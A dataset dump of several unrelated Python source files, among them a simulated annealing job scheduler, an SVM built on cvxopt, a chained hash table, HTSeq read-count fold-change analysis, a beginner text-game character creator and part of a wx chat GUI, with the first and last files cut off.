vector : array-like, shape=[n_samples, n, n]\n point : array-like, shape=[n_samples, n, n]\n\n Returns\n -------\n exp : array-like, shape=[n_samples, n, n]\n \"\"\"\n expm = gs.linalg.expm\n mul = MatricesSpace.mul\n return mul(mul(expm(vector), point), expm(-vector))\n\n def log(self, point, base_point):\n \"\"\"\n Riemannian logarithm of a point from a base point.\n\n Returns a skew-symmetric matrix in the image of [so(n), point].\n\n Parameters:\n ----------\n point : array-like, shape=[n_samples, n, n]\n base_point : array-like, shape=[n_samples, n, n]\n\n Returns:\n -------\n log : array-like, shape=[n_samples, n, n]\n \"\"\"\n svd = gs.linalg.svd\n mul = gs.matmul\n tr = MatricesSpace.transpose\n logm = gs.linalg.logm\n\n def closest(rot):\n d_coefs = gs.diagonal(rot)\n d_sign = gs.where(d_coefs >= 0, 1., -1.)\n return mul(rot, gs.diag(d_sign)[0])\n\n rot2 = svd(point)[0]\n rot1 = svd(base_point)[0]\n rot = mul(rot2, tr(rot1))\n\n return logm(closest(rot))","sub_path":"geomstats/geometry/grassmannian.py","file_name":"grassmannian.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"215483470","text":"falsename = False\nreversetitle = False\nclasslist = {\n \"knight\", \"cleric\", \"wizard\", \"warlock\", \"hunter\", \"warrior\", \"assassin\", \"noble\"\n }\nclasslist2 = {\"\",\" \"\n }\n \nwhile True:\n name = (input(\"whats your name?\"))\n print(name + \" are you sure thats your name?\")\n correctname = (input())\n correctname = correctname.lower()\n if correctname == \"no\":\n print()\n elif correctname ==\"yes\":\n break\n else:\n print(\"that was a yes or no question.\")\nprint(\"whats your age\")\nwhile True:\n age = int((input()))\n if age == str(age):\n print(\"thats not a number!whats your actual age?\")\n elif age > 100 and age < 1000:\n print(\"wow your old\")\n break\n elif age < 10:\n print(\"wow your young\")\n break\n elif age >= 1000:\n print(\".....suuuuure\")\n break\n elif age >= 10 and age <=100:\n break\n\nprint(\"you are \" + str(age) + \" years old\")\n\ngender = (input(\"whats your gender?\"))\nif gender == \"male\":\n title = \"sir\"\n print(\"your a guy!\")\nelif gender == \"female\":\n title = \"lady\"\n print(\"your a girl!\")\nelse:\n title = \"thing\"\n print(\"congrats your an it!\")\n\nfromplace = (input(\"where are you from?\"))\nprint(\"so let me get this right you are \" + title + \" Gretchan of Hoboken\") \nprofileconfirmation = (input())\n\nif profileconfirmation == \"yes\":\n falsenameexist = True\n falsename = \"Gretchan\"\nelse:\n print(\"no no no thats not right. Oh! I know! is it \" + title + \" Bennidict Cumberbatch of \" + fromplace + \"?\")\n confirm2 = (input())\n if confirm2 == \"yes\":\n falsenameexist = True\n falsename = \"Bennidict Cumberbatch\"\n else:\n print(\"oh damn I really thought i had it that time. but hey I got the place right......right?\")\n input(\"Its on the tip of my tounge this time! really I promise it is! your name is .......\")\n print(\"noooono no no no no.... dont intererupt me while im thinking! your name...\")\n print(\"you are\")\n if gender == \"male\":\n print(\"lady \" + name + \" of \" + fromplace)\n elif gender == \"female\":\n print(\"sir \" + name + \" of \" + fromplace)\n elif title ==\"thing\":\n print(\"shemale \" + name + \" of \" + fromplace)\n print(\"so....... did i get it right this time?\")\n confirm3 = (input())\n if confirm3 == \"yes\":\n reversetitle = True\n else:\n print(\"oh I called you by the wrong gender? are you sure I mean you definatley look like one to me but what do i kno- I mean yes yes of course I knew you were a\")\n if gender == \"male\":\n print(\"guy. I was just testing your observational skills....you get +50 to...uh..observationalisticism...\")\n elif gender == \"female\":\n print(\"woman I was just testing your observational skills....you get +50 to...uh..observationalisticism...\")\n else:\n print(\" aha ha I knew that.......-akward silence-......\")\nwhile True:\n if falsenameexist == True: \n classquestion = (input(\"so \" + title + \" \" + falsename + \" what class are you?\"))\n else:\n if reversetitle == True and gender == \"male\":\n classquestion = (input(\"so lady \" + name + \"what class are you?\"))\n elif reversetitle == True and gender == \"female\":\n classquestion = (input(\"so sir \" + name + \"what class are you?\"))\n else:\n classquestion = (input(\"so \" + title + \" \" + name + \" what class are you\")) \n if classquestion not in classlist and classquestion not in classlist2:\n print(\"what the hell is a \" + classquestion + \"? oh silly me you are obviously a babling fool\")\n clas = \"babling fool\"\n input(\"confirm your class, current class - \" + clas)\n print(\"conragradulations you are now a \" + clas)\n break \n elif classquestion in classlist and classquestion not in classlist2 :\n print(\"conragradulations you are now a \" + clas)\n break \n elif classquestion in classlist2 and classquestion not in classlist:\n print(\"SPEAK UP! I cant hear you!\")\n\n \n \n \n","sub_path":"vkl;.py","file_name":"vkl;.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"524636155","text":"import os\nimport csv\nfrom urllib.parse import urlparse\n\nrootDir = \"../scamDeliverers/\"\n\ndef fixName(folderName):\n if \"10532\" in folderName:\n website = folderName.split(\"10532\")[0]\n return website\n return folderName\n\ndirsList = []\nwebsites = []\n\nfor folder in os.scandir(rootDir):\n path = os.path.join(rootDir, folder.name)\n website = fixName(path)\n dirsList.append(fixName(folder.name))\n\nprint(dirsList)\nprint(\"websites:\")\n\n\nwith open('./scamSites/deliverersBatch.csv') as csv_file:\n # with open('./marketplace/mainMarketplaceList.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for row in csv_reader:\n for entry in row:\n websites.append(entry)\n\nprint(websites)\nfor entry in websites:\n flag = False\n for folder in dirsList:\n if folder in entry:\n flag = True\n if flag == False:\n print(entry)\n break\n","sub_path":"scraper/findLast.py","file_name":"findLast.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"118297722","text":"import random\nfrom timeit import default_timer as timer # see https://stackoverflow.com/questions/7370801/how-to-measure-elapsed-time-in-python\nfrom copy import deepcopy\nfrom experiment import Experiment\n\n\nclass SimulatedAnnealing:\n\n def __init__(self, ptimes, m):\n # jobs\n self.ptimes = ptimes\n\n # number of jobs\n self.n = len(ptimes)\n\n # number of machines\n self.m = m\n\n\n @classmethod\n def fromFile(cls, filename, m):\n # read a list of the processing times for the jobs\n input_file = open(filename, \"r\")\n\n ptimes= []\n for p in input_file:\n ptimes.append(int(p))\n\n return cls(ptimes, m)\n\n\n def getRandomState(self):\n \"\"\"Returns the state after randomly assigning each job to a machine.\"\"\"\n\n s = [-1 for x in range(self.n)]\n\n for j in range(self.n):\n # assign job j randomly to one of the machines\n s[j] = random.randrange(self.m)\n\n return s\n\n\n def getInitialState(self):\n \"\"\"Returns the state after assigning each job by the LPT rule.\"\"\"\n\n # enumerate the jobs, which yields a list of tuples, which we sort on\n # the processing times (in the second entry) in descending order\n ptimes_enumerated = list(enumerate(self.ptimes))\n ptimes_sorted = sorted(ptimes_enumerated, key=lambda x:x[1], reverse=True)\n\n # the state is encoded as the assignment of jobs to machines\n state = [-1 for x in range(self.n)]\n\n # we keep track of the current makespan of each machine\n makespans = [0 for x in range(self.m)]\n\n # loop over longest processing times first\n for (j, ptime) in ptimes_sorted:\n # determine the machine with the current minimum workload\n min_i = makespans.index(min(makespans))\n\n # assign job j to machine m_i\n state[j] = min_i\n # update the makespans\n makespans[min_i] += ptime\n\n return state\n\n def getInsertMove(self, state):\n \"\"\"\n Randomly determines an 'insert-move' to a neighbor state and the new makespan after this move.\n An insert-move is a 2-tuple (job, new_machine), which indicates that job will be assigned to\n new_machine in the neighboring state.\n Gives the new makespan after this move has been made as the second element in the tuple.\n \"\"\"\n\n # we randomly select one of the jobs\n job = random.randrange(self.n)\n current_machine = state[job]\n\n # we randomly select a machine to move it to\n new_machine = random.randrange(self.m)\n\n while new_machine == current_machine:\n new_machine = random.randrange(self.m)\n \n move = (job, new_machine)\n\n new_makespan = self.makespanAfterInsertMove(state, move)\n\n # return the change\n return ([move], new_makespan)\n\n def makespanAfterInsertMove(self, state, move):\n \"\"\"Computes the makespan of a given state, after the given insert-move has been made.\"\"\"\n\n (job, new_machine) = move\n\n # list containing the total completion time for each machine\n totals = [0 for x in range(self.m)]\n\n # loop over the jobs\n for j in range(self.n):\n if j == job:\n totals[new_machine] += self.ptimes[j]\n else:\n totals[state[j]] += self.ptimes[j]\n\n # return the maximum completion time over all machines, which is called the makespan\n return max(totals)\n\n def getSwapMove(self, state):\n \"\"\"\n Randomly determines a 'swap-move' to a neighbor state and the new makespan after this move.\n A swap-move is exchanging job1 and job2 in the schedule. It is encoded as two insert-moves.\n Gives the new makespan after this move has been made as the second element in the tuple.\n \"\"\"\n\n # we randomly select two jobs\n job1 = random.randrange(self.n)\n job2 = random.randrange(self.n)\n while job1 == job2:\n job2 = random.randrange(self.n)\n\n move1 = (job1, state[job2])\n move2 = (job2, state[job1])\n\n moves = [move1, move2]\n\n new_makespan = self.makespanAfterSwapMove(state, moves)\n\n # return the change\n return (moves, new_makespan)\n\n def makespanAfterSwapMove(self, state, move):\n \"\"\"Computes the makespan of a given state, after the given swap-move has been made.\"\"\"\n\n (job1, new_machine1) = move[0]\n (job2, new_machine2) = move[1]\n\n # list containing the total completion time for each machine\n totals = [0 for x in range(self.m)]\n\n # loop over the jobs\n for j in range(self.n):\n if j == job1:\n totals[new_machine1] += self.ptimes[j]\n elif j == job2:\n totals[new_machine2] += self.ptimes[j]\n else:\n totals[state[j]] += self.ptimes[j]\n\n # return the maximum completion time over all machines, which is called the makespan\n return max(totals)\n\n def makespan(self, state):\n \"\"\"Computes the makespan of a given state.\"\"\"\n\n # list containing the total completion time for each machine\n totals = [0 for x in range(self.m)]\n\n # loop over the jobs\n for j in range(self.n):\n totals[state[j]] += self.ptimes[j]\n\n # return the maximum completion time over all machines, which is called the makespan\n return max(totals)\n\n def getTemperature(self, k, n_iterations):\n \"\"\"Returns the current temperature based on the current iteration and the total number of iterations. \"\"\"\n ratio = (k+1) / n_iterations\n\n return 1 - ratio\n\n\n def start(self, n_iterations, p_function, initial_state, good_accept, bad_accept,\n swap_enabled=False,\n swap_after=0,\n state_callback=None,\n debug=False):\n '''\n n_iterations: the total number of iterations that are used\n p_function: acceptance probability function which determines wheter to accept a move based on\n the current difference and current temperature\n swap_enabled: Wheter to make swap moves or not.\n swap_after: The number of rejected moves before the algorithm turns to making swap moves only. When\n the parameter swap_enabled=True is given, the default value of swap_after (0) will make sure\n that the algorithm only performs swap moves.\n state_callback: callback function that is called with the current iteration number, current state \n and current makespan, only use this for debugging purposes.\n debug: whether to show debugging output.\n\n returns an Experiment object which contains the details about the completed run\n '''\n\n if debug:\n print(\"Number of jobs in input: {}\".format(self.n))\n print(\"Number of machines: {}\".format(self.m))\n print(\"Number of iterations: {}\".format(n_iterations))\n\n # we get the current time in order to calculate the total computation time\n t0 = timer()\n\n # pick an initial state\n if initial_state == 0:\n state = self.getRandomState()\n else:\n state = self.getInitialState()\n current_makespan = self.makespan(state)\n\n # keep track of the current best state and makespan\n best_state = state\n best_makespan = current_makespan\n\n # initial temperature\n temperature = 1\n\n # keep track of some values in order to plot them later\n makespan_lst = [ current_makespan ]\n temperature_lst = []\n # difference between t and t-1\n difference_lst = [ 0 ]\n # accepted differences for good, bad and neutral moves\n accepted_good_difference_lst = [ 0 ]\n accepted_bad_difference_lst = [ 0 ]\n accepted_zero_difference = 0\n # number of times that we accepted the random move\n accept_nr = 0\n\n # keep track of how many consecutive moves we reject (for switching to swap-moves)\n n_rejected = 0\n swap = False\n\n # start the simulated annealing iterations\n for k in range(n_iterations):\n # callback\n if state_callback:\n state_callback(k, state, current_makespan)\n\n # update temperature\n temperature = self.getTemperature(k, n_iterations)\n #print(\"Current temperature is: {}\".format(temperature))\n temperature_lst.append(temperature)\n\n # determine wheter to make swap moves\n swap = n_rejected >= swap_after or swap\n\n if debug:\n print(\"n_rejected: {}\".format(n_rejected))\n print(\"swap_after: {}\".format(swap_after))\n print(\"swap: {}\".format(swap))\n\n # generate a random move to a neighboring state and compute the new makespan we would get after\n # making this move\n if swap_enabled and swap:\n (moves, new_makespan) = self.getSwapMove(state)\n else:\n (moves, new_makespan) = self.getInsertMove(state)\n\n # decide if we are going to accept this move based on the difference in the makespans\n difference = new_makespan - current_makespan\n difference_lst.append(difference)\n \n if p_function(difference, temperature, good_accept, bad_accept):\n n_rejected = 0\n #print(\"Accept move!\")\n accept_nr += 1\n\n # make the move(s)\n for move in moves:\n (job, new_machine) = move\n state[job] = new_machine\n\n # and update the makespan\n current_makespan = new_makespan\n\n # track the differences that are accepted\n if difference < 0:\n accepted_good_difference_lst.append(difference)\n elif difference == 0:\n accepted_zero_difference += 1\n else:\n accepted_bad_difference_lst.append(difference)\n else:\n n_rejected += 1\n #print(\"Reject move!\")\n \n # update the best known values\n if current_makespan < best_makespan:\n best_makespan = current_makespan\n best_state = state\n \n #print(\"Current makespan is: {}\".format(current_makespan))\n makespan_lst.append(current_makespan)\n\n # callback\n if state_callback:\n state_callback(k, state, current_makespan)\n\n # save the results from this run\n self.result = Experiment(\n runtime = timer() - t0,\n n_iterations = n_iterations,\n accept_ratio = accept_nr / n_iterations,\n final_makespan = current_makespan,\n final_state = state,\n best_makespan = best_makespan,\n best_state = best_state,\n makespan_lst = makespan_lst,\n temperature_lst = temperature_lst,\n difference_lst = difference_lst,\n accepted_good_difference_lst = accepted_good_difference_lst,\n accepted_bad_difference_lst = accepted_bad_difference_lst,\n accepted_zero_difference = accepted_zero_difference,\n )\n\n return self.result\n","sub_path":"simann/simann.py","file_name":"simann.py","file_ext":"py","file_size_in_byte":11430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"644445297","text":"def run(vector_1, vector_2):\n\n import numpy as np\n import math \n \n dot_prod = np.dot(vector_1, vector_2)\n \n norm_vector_1 = np.linalg.norm(vector_1)\n norm_vector_2 = np.linalg.norm(vector_2)\n \n scalar_prod = norm_vector_1 * norm_vector_2\n ratio = dot_prod/scalar_prod\n \n if abs(ratio) > 1.0: # There is a quirk which means this has to be included such that the central pixel plane,\n # crossed with itself, will resolve correctly.\n\n angle_rad = 0.0\n\n else: \n \n angle_rad = math.acos(ratio)\n \n angle_deg = angle_rad * 180 / np.pi\n \n # This next section determines whether the angle is positive or negative.\n if angle_deg == 0.0:\n pass \n\n else:\n\n cross_product = np.cross(vector_1, vector_2)\n\n unit_vector_cross_product = cross_product/np.linalg.norm(cross_product)\n\n direction_indicator = unit_vector_cross_product[0] + unit_vector_cross_product[1] + unit_vector_cross_product[2]\n \n if direction_indicator > 0:\n angle_deg = -angle_deg\n\n else:\n\n angle_deg = angle_deg\n\n return angle_deg\n","sub_path":"development/calc_angle_between_vectors.py","file_name":"calc_angle_between_vectors.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"570557783","text":"#HTSeq for foldchange only\r\n\r\nimport HTSeq\r\nimport math\r\nfrom scipy import stats\r\n\r\ndef run(BED,BAMS1,BAMS2,mil_reads):\r\n\tsortedbamfile1rep1 = HTSeq.BAM_Reader(BAMS1[0])\r\n\tsortedbamfile1rep2 = HTSeq.BAM_Reader(BAMS1[1])\r\n\tsortedbamfile2rep1 = HTSeq.BAM_Reader(BAMS2[0])\r\n\tsortedbamfile2rep2 = HTSeq.BAM_Reader(BAMS2[1])\r\n\t\r\n\tbedfile = list()\r\n\twith open(BED) as F:\r\n\t\tfor line in F:\r\n\t\t\tline = line.strip('\\n').split('\\t')\r\n\t\t\tchrom,start,stop = line[:3]\r\n\t\t\tstart = int(start)\r\n\t\t\tstop = int(stop)\r\n\t\t\tif len(chrom) <= 5:\r\n\t\t\t\t#i added a window because it looked like we were missing peaks without it\r\n\t\t\t\tif start < 1000:\r\n\t\t\t\t\tbedfile.append(HTSeq.GenomicInterval(chrom,0,stop+1000,'.'))\r\n\t\t\t\t#normalizing for length below is not totally accurate because of this, but it's probably okay\r\n\t\t\t\telse:\r\n\t\t\t\t\tbedfile.append(HTSeq.GenomicInterval(chrom,start-1000,stop+1000,'.'))\r\n\r\n\tcounts1rep1 = list()\r\n\tfor region in bedfile:\r\n\t\tcounts1rep1.append(0.0)\r\n\t\tlength = region.length+2000\r\n\t\tfor almnt in sortedbamfile1rep1[region]:\r\n\t\t\tcounts1rep1[-1] += 1.0\r\n\t\tcounts1rep1[-1] /= (length/1000.0)\r\n\t\tcounts1rep1[-1] /= mil_reads[0][0]\r\n\r\n\tcounts1rep2 = list()\r\n\tfor region in bedfile:\r\n\t\tcounts1rep2.append(0.0)\r\n\t\tlength = region.length+2000\r\n\t\tfor almnt in sortedbamfile1rep2[region]:\r\n\t\t\tcounts1rep2[-1] += 1.0\r\n\t\tcounts1rep2[-1] /= (length/1000.0)\r\n\t\tcounts1rep2[-1] /= mil_reads[0][1]\r\n\r\n\tcounts2rep1 = list()\r\n\tfor region in bedfile:\r\n\t\tcounts2rep1.append(0.0)\r\n\t\tlength = region.length+2000\r\n\t\tfor almnt in sortedbamfile2rep1[region]:\r\n\t\t\tcounts2rep1[-1] += 1.0\r\n\t\tcounts2rep1[-1] /= (length/1000.0)\r\n\t\tcounts2rep1[-1] /= mil_reads[1][0]\r\n\r\n\tcounts2rep2 = list()\r\n\tfor region in bedfile:\r\n\t\tcounts2rep2.append(0.0)\r\n\t\tlength = region.length+2000\r\n\t\tfor almnt in sortedbamfile2rep2[region]:\r\n\t\t\tcounts2rep2[-1] += 1.0\r\n\t\tcounts2rep2[-1] /= (length/1000.0)\r\n\t\tcounts2rep2[-1] /= mil_reads[1][1]\r\n\r\n\tcounts1avg = [(x+y)/2.0 for x,y in zip(counts1rep1,counts1rep2)]\r\n\tcounts2avg = [(x+y)/2.0 for x,y in zip(counts2rep1,counts2rep2)]\r\n\t#log10 but excludes 0 (removes both entries)\r\n\tcounts1avgclean = counts1avg\r\n\tcounts2avgclean = counts2avg\r\n\t#so i decided to find any zero in the first list and make it zero in the second list, then clean it up after\r\n\tfor i in range(len(counts1avg)):\r\n\t\tif counts1avg[i] == 0.0:\r\n\t\t\tcounts2avgclean[i] = 0.0\r\n\t\telif counts2avg[i] == 0.0:\r\n\t\t\tcounts1avgclean[i] = 0.0\r\n\tcounts1avgclean = [x for x in counts1avgclean if x!=0.0]\r\n\tcounts2avgclean = [x for x in counts2avgclean if x!=0.0]\r\n\r\n\tKStest = stats.ks_2samp(counts1avgclean,counts2avgclean)\r\n\t\r\n\t#fold change\r\n\tfoldchange = []\r\n\tfor i in range(len(counts2avg)):\r\n\t\ttry:\r\n\t\t\tfoldchange.append(counts2avg[i]/counts1avg[i])\r\n\t\texcept:\r\n\t\t\tpass\r\n\r\n\tfoldchangelog = []\r\n\tfor x in foldchange:\r\n\t\ttry:\r\n\t\t\tfoldchangelog.append(math.log10(x))\r\n\t\texcept:\r\n\t\t\tpass\r\n\r\n\treturn [KStest, foldchangelog]","sub_path":"src/HTSeq_foldchange.py","file_name":"HTSeq_foldchange.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"346630531","text":"import numpy as np\nimport cvxopt\n\n\nclass SVM(object):\n\n def __init__(self,\n C,\n kernel,\n tol=1e-3):\n self.C = C\n self.kernel = kernel\n self.tol = tol\n self.alpha_m = None\n self.support_weights = None\n self.support_vectors = None\n self.support_vector_labels = None\n self.bias = None\n\n def gram_matrix(self, X): # Gram Matrix to calculate k(xi,xj)\n n = X.shape[0]\n K = np.zeros((n, n))\n for i in range(n):\n for j in range(n):\n K[i, j] = self.kernel(X[i], X[j])\n return K\n\n def solve(self, X, y):\n \"\"\"\n This code solves the quadratic system:\n solve for x (lagrange multipliers)\n min{Lp(x) = x^{T}Px+q^{T}x}\n subject to the following constraints:\n Gx \\coneleq h\n Ax = b such that (b-a_i*y_i* = 0)\n a_i \\leq 0\n (slack condition)\n a_i \\leq C\n\n X: numpy array of dimension (m, n) - predictor variables (features)\n y: numpy array of dimension (1, m) = target (labels)\n \"\"\"\n m, n = X.shape\n K = self.gram_matrix(X)\n # K is the the gram matrix or kernel \n P = cvxopt.matrix(np.outer(y, y) * K)\n '''P is simply the outer product specified in\n the dual form (a_i * a_j * y_i * y_i * )'''\n q = cvxopt.matrix(np.ones(m) * -1)\n # q in this case is a set of dummy variables\n\n '''-a_i \\leq 0\n These are dummy variables for the lagrange multipliers, \n thus we have a diagonal m x m matrix of -1 ones\n this formalism constrains the lagrange multipliers \n to always be positive and greater than or equal to 0\n because of the formulation of the solver, you have \n to set the dummy variables to be equal to negative 1\n (cvxopt creates the lagrange multipliers (a_i = x_i)\n as factors of these during optimization)'''\n G = cvxopt.matrix(np.diag(np.ones(m) * -1))\n h = cvxopt.matrix(np.zeros(m))\n\n '''a_i \\leq c The slack conditions add an additional variable\n \\zeta (1-\\zeta) to the equation,constrained to a value C.'''\n G_Sk = cvxopt.matrix(np.diag(np.ones(m)))\n h_Sk = cvxopt.matrix(np.ones(m) * self.C)\n\n # You actually have to write the equation matrix\n # as a side-by-side formulation going into the constraints:\n # [G,slackG](a_i) = [h, slack_h]\n G = cvxopt.matrix(np.vstack((G, G_Sk)))\n h = cvxopt.matrix(np.vstack((h, h_Sk)))\n\n # these fulfull Ax = b such that (b-a_i*y_i* = 0)\n A = cvxopt.matrix(y, (1, m))\n b = cvxopt.matrix(0.0)\n # print \"solve\"\n\n solution = cvxopt.solvers.qp(P, q, G, h, A, b)\n\n return np.ravel(solution['x'])\n\n def fit(self, X_train, y_train):\n\n # compute the m lagrange multipliers and return a list\n self.alpha_m = self.solve(X_train, y_train)\n\n support_vector_indices = self.alpha_m > self.tol\n\n self.support_weights = self.alpha_m[support_vector_indices]\n self.support_vectors = X_train[support_vector_indices]\n self.support_vector_labels = y_train[support_vector_indices]\n\n # bias = y_k - \\sum z_i y_i K(x_k, x_i)\n # (this is the error in the prediction)\n # Thus we can just predict an example with bias of zero, and\n # compute the error to get the initial bias.\n self.bias = 0.0\n\n # literally just a mean of label differences\n self.bias = np.mean(\n [y_k - self._predict(\n x_k, self.bias, self.support_weights, self.support_vectors,\n self.support_vector_labels, self.kernel)\n for (y_k, x_k) in zip(self.support_vector_labels,\n self.support_vectors)])\n # print \"fit\"\n\n def predict(self, X):\n return self._predict(\n X, self.bias, self.support_weights, self.support_vectors,\n self.support_vector_labels, self.kernel)\n\n def _predict(self, X, bias, support_weights, support_vectors,\n support_vector_labels, kernel):\n \"\"\"\n This is an internal method used in \n two different locations. It computes the SVM cost \n function sum, and thus provides prediction labels.\n \"\"\"\n result = bias\n\n result = + sum([kernel(support_vectors[i], X) * support_weights[i]\n * support_vector_labels[i] for i, x in enumerate(support_vectors)])\n # Prediction lables by computing svm cost functions sum\n\n return np.sign(result).item()\n","sub_path":"SVM/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"415291766","text":"# '''\n# Linked List hash table key/value pair\n# '''\n\n\nclass LinkedPair:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.next = None\n\n def __repr__(self):\n return f'<{self.key}, {self.value}'\n\n\nclass HashTable:\n '''\n A hash table that with `capacity` buckets\n that accepts string keys\n '''\n\n def __init__(self, capacity):\n self.capacity = capacity # Number of buckets in the hash table\n self.storage = [None] * capacity\n self.size = 0 # number of elements that have been inserted\n\n def _hash(self, key):\n '''\n Hash an arbitrary key and return an integer.\n\n You may replace the Python hash with DJB2 as a stretch goal.\n\n Python HASH function\n\n '''\n return hash(key)\n\n def _hash_djb2(self, key):\n '''\n Hash an arbitrary key using DJB2 hash\n\n OPTIONAL STRETCH: Research and implement DJB2\n '''\n pass\n\n def _hash_mod(self, key):\n '''\n Take an arbitrary key and return a valid integer index\n within the storage capacity of the hash table.\n '''\n return self._hash(key) % self.capacity\n\n def insert(self, key, value):\n '''\n Store the value with the given key.\n\n # Part 1: Hash collisions should be handled with an error warning. (Think about and\n # investigate the impact this will have on the tests)\n\n # Part 2: Change this so that hash collisions are handled with Linked List Chaining.\n\n Fill this in.\n\n This\n '''\n self.size += 1 # increment the internal size by 1\n index = self._hash_mod(key) # find the index in the internal array\n pair = self.storage[index] # find the pair at that index\n\n if pair is None: # if the pair is none, there's nothing there yet\n # assign the pair to the LinkedPair(key, value)\n self.storage[index] = LinkedPair(key, value)\n return\n # collision already a pair there\n prev = pair\n while pair is not None:\n prev = pair\n pair = pair.next\n\n # Add a new pair at the end of the list with provided key/value\n prev.next = LinkedPair(key, value)\n\n # # If bucket is empty, overwrite the key/value and throw a warning\n # if pair.key != key:\n # print(\"Warning: Overwriting value\")\n # pair.key = key\n # pair.value = value\n # else:\n # # If bucket is not empty, create a LinkedPair and place it in the bucket\n # self.storage[index] = LinkedPair(key, value)\n\n # array_index = self._hash_mod(self._hash(key))\n # self.storage[array_index] = value\n\n def remove(self, key):\n '''\n Remove the value stored with the given key.\n\n Print a warning if the key is not found.\n\n Fill this in.\n\n THIS\n '''\n index = self._hash_mod(key) # Compute index of key\n pair = self.storage[index]\n prev = None\n while pair is not None and pair.key != key:\n prev = pair\n pair = pair.next\n\n if pair is None:\n return None\n\n else:\n self.size -= 1\n result = pair.value\n\n if prev is None:\n self.storage[index] = pair.next\n\n else:\n prev.next = prev.next.next\n\n return result\n\n # index = self._hash_mod(key) # Compute index of key\n # Check if a pair exists in the bucket with matching keys\n # if self.storage[index] is not None and self.storage[index].key == key:\n # # If so, remove that pair\n # self.storage[index] = None\n # else:\n # # Else print warning\n # print(\"Warning: Key does not exist\")\n\n # def remove(self, key):\n # index = self._hash_mod(key)\n # self.storage[index] = None\n\n def retrieve(self, key):\n '''\n Retrieve the value stored with the given key.\n\n Returns None if the key is not found.\n\n Fill this in.\n THIS\n '''\n\n # compute the index using our hash function\n index = self._hash_mod(key)\n pair = self.storage[index]\n\n while pair is not None and pair.key != key: # find the pair or the end of the list\n pair = pair.next\n\n if pair is None:\n # reached the end and nothing found or there was never anything there\n return None\n\n else:\n return pair.value # found: return the data value\n\n # Get the index from hashmod\n # index = self._hash_mod(key)\n # Check if a pair exists in the bucket with matching keys\n # if self.storage[index] is not None and self.storage[index].key == key:\n # # If so, return the value\n # return self.storage[index].value\n # else:\n # # Else return None\n # return None\n\n # array_index = self._hash_mod(self._hash(key))\n # return self.storage[array_index]\n\n def resize(self):\n '''\n Doubles the capacity of the hash table and\n rehash all key/value pairs.\n\n Fill this in.\n AND THIS\n '''\n old_storage = self.storage\n self.capacity *= 2\n\n # create a new array size * 2\n self.storage = [None] * self.capacity\n\n # move all values over\n for pair in old_storage:\n # re-insert each key/value\n self.insert(pair.key, pair.value)\n\n\nif __name__ == \"__main__\":\n ht = HashTable(2)\n\n ht.insert(\"line_1\", \"Tiny hash table\")\n ht.insert(\"line_2\", \"Filled beyond capacity\")\n ht.insert(\"line_3\", \"Linked list saves the day!\")\n\n print(\"\")\n\n # Test storing beyond capacity\n print(ht.retrieve(\"line_1\"))\n print(ht.retrieve(\"line_2\"))\n print(ht.retrieve(\"line_3\"))\n\n # Test resizing\n old_capacity = len(ht.storage)\n ht.resize()\n new_capacity = len(ht.storage)\n\n print(f\"\\nResized from {old_capacity} to {new_capacity}.\\n\")\n\n # Test if data intact after resizing\n print(ht.retrieve(\"line_1\"))\n print(ht.retrieve(\"line_2\"))\n print(ht.retrieve(\"line_3\"))\n\n print(\"\")\n","sub_path":"src/hashtable.py","file_name":"hashtable.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"147444716","text":"import threading\nimport wx\nimport wx.grid\nimport os\nimport re\nimport logging\nfrom modules.helpers.parser import FlagConfigParser\nfrom cefpython3.wx import chromectrl\n# ToDO: Support customization of borders/spacings\n# ToDO: Exit by cancel button\n\nTRANSLATIONS = {}\nIDS = {}\nlog = logging.getLogger('chat_gui')\nMODULE_KEY = '.'\nINFORMATION_TAG = 'gui_information'\nSECTION_GUI_TAG = '__gui'\nSKIP_TAGS = [INFORMATION_TAG]\nSKIP_TXT_CONTROLS = ['list_input', 'list_input2']\nSKIP_BUTTONS = ['list_add', 'list_remove']\n\n\ndef get_id_from_name(name, error=False):\n for item, item_id in IDS.items():\n if item_id == name:\n return item\n if error:\n raise ReferenceError\n return None\n\n\ndef id_renew(name, update=False):\n module_id = get_id_from_name(name)\n if module_id:\n del IDS[module_id]\n new_id = wx.Window.NewControlId(1)\n if update:\n IDS[new_id] = name\n return new_id\n\n\ndef get_list_of_ids_from_module_name(name, id_group=1, tuple=False):\n split_key = MODULE_KEY\n\n id_array = []\n for item_key, item in IDS.items():\n item_name = split_key.join(item.split(split_key)[:id_group])\n if item_name == name:\n if tuple:\n id_array.append((item_key, item))\n else:\n id_array.append(item_key)\n return id_array\n\n\ndef fix_sizes(size1, size2):\n if size1[0] > size2[0]:\n label_x_size = size1[0]\n else:\n label_x_size = size2[0]\n\n if size1[1] > size2[1]:\n label_y_size = size1[1]\n else:\n label_y_size = size2[1]\n return [label_x_size, label_y_size]\n\n\ndef load_translations(settings, language):\n language = language.lower()\n conf_file = 'translations.cfg'\n config = FlagConfigParser(allow_no_value=True)\n config.read(os.path.join(settings['folder'], conf_file))\n\n if not config.has_section(language):\n log.warning(\"Warning, have not found language: {0}\".format(language))\n language = 'english'\n\n for param, value in config.items(language):\n TRANSLATIONS[param] = value\n\n\ndef find_translation(item, length=0, wildcard=1):\n translation = TRANSLATIONS.get(item, item)\n if item == translation:\n if wildcard < length:\n translation = find_translation(MODULE_KEY.join(['*'] + item.split(MODULE_KEY)[-wildcard:]),\n length=length, wildcard=wildcard+1)\n else:\n return translation\n return 